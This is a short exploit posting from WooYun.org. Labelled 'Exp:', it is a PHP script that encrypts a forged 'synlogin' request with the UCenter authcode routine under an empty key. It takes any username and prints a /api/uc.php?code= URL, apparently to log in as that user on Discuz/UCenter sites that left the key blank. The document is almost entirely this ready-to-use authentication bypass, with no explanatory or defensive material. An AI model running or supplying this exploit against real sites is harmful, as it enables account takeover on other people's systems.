WooYun.org

Exp:


<?php


error_reporting(0);


$username = $argv[1];


$key = '';





$code = 'time=1356796800&username='.$username.'&uid=0&action=synlogin';


echo "$code\n";


$exp = urlencode(authcode($code, "ENCODE", $key));


print_r('/api/uc.php?code='.$exp);





function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {


 


    $ckey_length = 4;


 


    $key = md5($key ? $key : UC_KEY);


    $keya = md5(substr($key, 0, 16));


    $keyb = md5(substr($key, 16, 16));


    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';


 


    $cryptkey = $keya.md5($keya.$keyc);


    $key_length = strlen($cryptkey);


 


    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;


    $string_length = strlen($string);


 


    $result = '';


    $box = range(0, 255);


 


    $rndkey = array();


    for($i = 0; $i <= 255; $i++) {


        $rndkey[$i] = ord($cryptkey[$i % $key_length]);


    }


 


    for($j = $i = 0; $i < 256; $i++) {


        $j = ($j + $box[$i] + $rndkey[$i]) % 256;


        $tmp = $box[$i];


        $box[$i] = $box[$j];


        $box[$j] = $tmp;


    }


 


    for($a = $j = $i = 0; $i < $string_length; $i++) {


        $a = ($a + 1) % 256;


        $j = ($j + $box[$a]) % 256;


        $tmp = $box[$a];


        $box[$a] = $box[$j];


        $box[$j] = $tmp;


        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));


    }


 


    if($operation == 'DECODE') {


        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {


            return substr($result, 26);


        } else {


            return '';


        }


    } else {


        return $keyc.str_replace('=', '', base64_encode($result));


    }


 


}